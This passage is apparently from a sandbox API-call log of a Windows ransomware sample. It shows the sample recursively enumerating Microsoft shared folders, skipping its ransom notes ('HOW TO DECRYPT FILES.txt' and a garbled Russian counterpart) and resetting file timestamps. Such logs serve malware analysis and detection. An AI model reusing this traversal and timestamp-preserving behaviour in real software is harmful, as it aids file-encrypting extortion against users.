hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0065, dwReserved1=0x3, cFileName="WksConv", cAlternateFileName="")) returned 1 [0076.442] lstrcmpA (lpString1=".", lpString2="WksConv") returned -1 [0076.442] lstrcmpA (lpString1="..", lpString2="WksConv") returned -1 [0076.442] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*.*") returned="*.*" [0076.442] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.443] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.443] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.443] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 1 [0076.443] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.443] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Wkconv.exe") returned -1 [0076.443] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Wkconv.exe") returned -1 [0076.443] lstrcmpiA (lpString1="", lpString2="Wkconv.exe") returned -1 [0076.443] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*.*") returned="*.*" [0076.443] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\" [0076.443] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\") returned="" [0076.445] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.445] CloseHandle (hObject=0x90) returned 1 [0076.446] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 0 [0076.446] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.446] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0065, dwReserved1=0x3, cFileName="WksConv", cAlternateFileName="")) returned 0 [0076.446] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.446] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x3, cFileName="Triedit", cAlternateFileName="")) returned 1 [0076.447] lstrcmpA (lpString1=".", lpString2="Triedit") returned -1 [0076.447] lstrcmpA (lpString1="..", lpString2="Triedit") returned -1 [0076.447] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.447] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.447] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.447] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.447] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.447] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.447] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0076.447] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0076.447] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0076.447] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*.*") returned="*.*" [0076.447] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.448] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.448] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.448] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0076.448] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.448] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0076.448] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.449] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720054, dwReserved1=0x3, cFileName="VBA", cAlternateFileName="")) returned 1 [0076.449] lstrcmpA (lpString1=".", lpString2="VBA") returned -1 [0076.449] lstrcmpA (lpString1="..", lpString2="VBA") returned -1 [0076.449] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.449] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0065, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.450] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.450] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.450] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.450] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.450] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 1 [0076.450] lstrcmpA (lpString1=".", lpString2="VBA6") returned -1 [0076.450] lstrcmpA (lpString1="..", lpString2="VBA6") returned -1 [0076.450] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*.*") returned="*.*" [0076.450] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.451] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.451] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.451] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.451] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.451] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1 [0076.451] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBE6EXT.OLB") returned -1 [0076.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBE6EXT.OLB") returned -1 [0076.451] lstrcmpiA (lpString1="", lpString2="VBE6EXT.OLB") returned -1 [0076.451] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*.*") returned="*.*" [0076.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\" [0076.451] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\") returned="" [0076.453] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.453] CloseHandle (hObject=0x90) returned 1 [0076.453] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 0 [0076.453] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.454] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 0 [0076.454] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.454] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x420056, dwReserved1=0x3, cFileName="VC", cAlternateFileName="")) returned 1 [0076.454] lstrcmpA (lpString1=".", lpString2="VC") returned -1 [0076.454] lstrcmpA (lpString1="..", lpString2="VC") returned -1 [0076.454] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.454] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.455] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.455] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.455] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.455] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.456] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0076.456] lstrcmpA (lpString1=".", lpString2="amd64") returned -1 [0076.456] lstrcmpA (lpString1="..", lpString2="amd64") returned -1 [0076.456] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*.*") returned="*.*" [0076.456] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.457] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.457] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.457] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0076.457] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.457] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdia80.dll") returned -1 [0076.457] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdia80.dll") returned -1 [0076.457] lstrcmpiA (lpString1="", lpString2="msdia80.dll") returned -1 [0076.457] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*.*") returned="*.*" [0076.457] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\" [0076.457] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\") returned="" [0076.459] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.459] CloseHandle (hObject=0x90) returned 1 [0076.459] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 0 [0076.459] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.459] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cdca800, ftCreationTime.dwHighDateTime=0x1cbd035, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5cdca800, ftLastWriteTime.dwHighDateTime=0x1cbd035, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0076.460] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.460] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdia100.dll") returned -1 [0076.460] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdia100.dll") returned -1 [0076.460] lstrcmpiA (lpString1="", lpString2="msdia100.dll") returned -1 [0076.460] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*.*") returned="*.*" [0076.460] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" [0076.460] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\") 